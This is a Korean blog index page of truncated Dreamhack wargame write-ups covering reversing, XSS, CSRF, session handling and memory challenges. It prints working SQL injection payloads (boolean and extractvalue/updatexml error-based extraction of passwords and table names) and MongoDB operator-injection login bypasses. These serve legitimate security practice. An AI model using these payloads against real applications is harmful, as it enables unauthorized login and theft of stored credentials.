본문 바로가기

호그와트

(366)
드림핵 rev-basic-4 파이썬은 정말 신기한 언어다 보고 또 볼수록 정말 놀라운 점이 많다 ​ 우선 비트연산을 이렇게 깔끔하게 할 수 있다 import string raw =(0x24,0x27,0x13,0xc6,0xc6,0x13,0x16,0xe6,0x47,0xf5,0x26,0x96,0x47,0xf5,0x46,0x27,0x13,0x26,0x26,0xc6,0x56,0xf5,0xc3,0xc3,0xf5,0xe3,0xe3) for ch in raw: for i in string.printable: if ((16*ord(i))&0xf0 | ord(i)>>4 ) == ch: print(i, end='') break ​ 블로그에 올려놓으니까 가독성이 많이 떨어지긴 한다 rev-basic-4를 보면 기본적으로 검증 함수가 ((16*ord(i)..
드림핵 csrf-1
드림핵 xss-1
드림핵 xss-2 아주 기본적인 문제이다 자 이제 시작해보자 var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param'); ​ 아 설마 그 값 자체는 맞는데 innerHTML 자체에서 작동하지 않는 건가? 도 문법적으로 완벽한데 param = 위의 값을 넣어도 반응이 없는 것처럼 그런 거 아닐까? ​ 이를 보완하기 위해 HTML5에서는 innerHTML 속성을 통해 삽입된 문자열에 ​ ​ 역시나 방법은 두 가지 일 수밖에 없지 않나? 1) script를 교묘하게 바꾸어서 원하는 xss 문장을 집어넣거나 ->일단 이 경우의 수는 아닌 듯 하다 2) script를 쓰지 않고도 원하는 문장을 집어넣을 수 ..
드림핵 counting query id=~~~~~~&pw=pw&type=1 or 1=1 ​ id=~~~~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, @@version)) ​ id=~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, (select ps from t_user))) ​ id=~~~~~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, (select ps from all_user_accounts))) ​ id=~~~~~~&pw=pw&type=1 and updatexml(null,concat(0x3a,(select table_name from information_schema.tables),null) ​ 만약에..
드림핵 mango를 먹자 아래와 같이 요청을 보내면 guest 가 출력이 된다. /login?uid[$gt]=adm&upw[$ne]= // result: guest ​ guest 빼고 다른 결과를 보기 위해 $ne를 이용하여 결과 값에서 guest를 제외시킨다. 이번에는 dreamhack 이 출력된다. /login?uid[$gt]=adm&uid[$ne]=guest&upw[$ne]= // result: dreamhack ​ ​ 이번에는 $lt 를 이용하여 d 라는 문자 보다 작은 값을 출력하게끔 만든다. 그럼 dreamhack < d 는 false 이므로 dreamhack 이 출력 되지 않는다. 결과를 보면 성공적으로 admin 이 출력된다. /login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw..
드림핵 session-basic 드림핵 session 때문에 이러저러 질문들이 계속 나와서 운영진 분들이 새로 만든 문제이다. 세션을 이해하기 좋은 문제이다. 이 문제는 session문제랑은 다르게 admin에게 할당되는 랜덤값이 매우 높게 설계되어 있다. 그런데 주어진 코드를 자세히보면 그 주어진 랜덤값을 아예 눈으로 보여주는 페이지가 따로 존재한다. 그 페이지로 들어가면 admin의 세션값이 나오고 그걸 통해서 세션을 변화해주기만 해도 플래그를 얻을 수 있다 ​ 드림핵 session 문제풀이는 이 블로그에 적어두었다. 잘 안 풀리시는 분들은 내 블로그 글에 댓글까지 읽어보시면 금방 플래그를 얻을 수 있다
드림핵 메모리 누수 문제 str을 정수로 변경하면 어떻게 값이 나오는지 궁금해지기 시작했다 처음부터 여기가 핵심이 된다고 생각했기 때문이다 str(0xdeadbeef)는 정수로 변경하면 (파이썬으로 그 값을 구할 수 있다) 3735928559이다 그런 식으로 순차적으로 값을 넣으면 ​ 1. Join 2. Print information 3. GIVE ME FLAG! >1 Name: AAAAAAAAAAAAAAAA (attack vector) Age: 3735928559 (attack vector) 1. Join 2. Print information 3. GIVE ME FLAG! > 3 1. Join 2. Print information 3. GIVE ME FLAG! > 2 Name: AAAAAAAAAAAAAAAA���DH{a77a..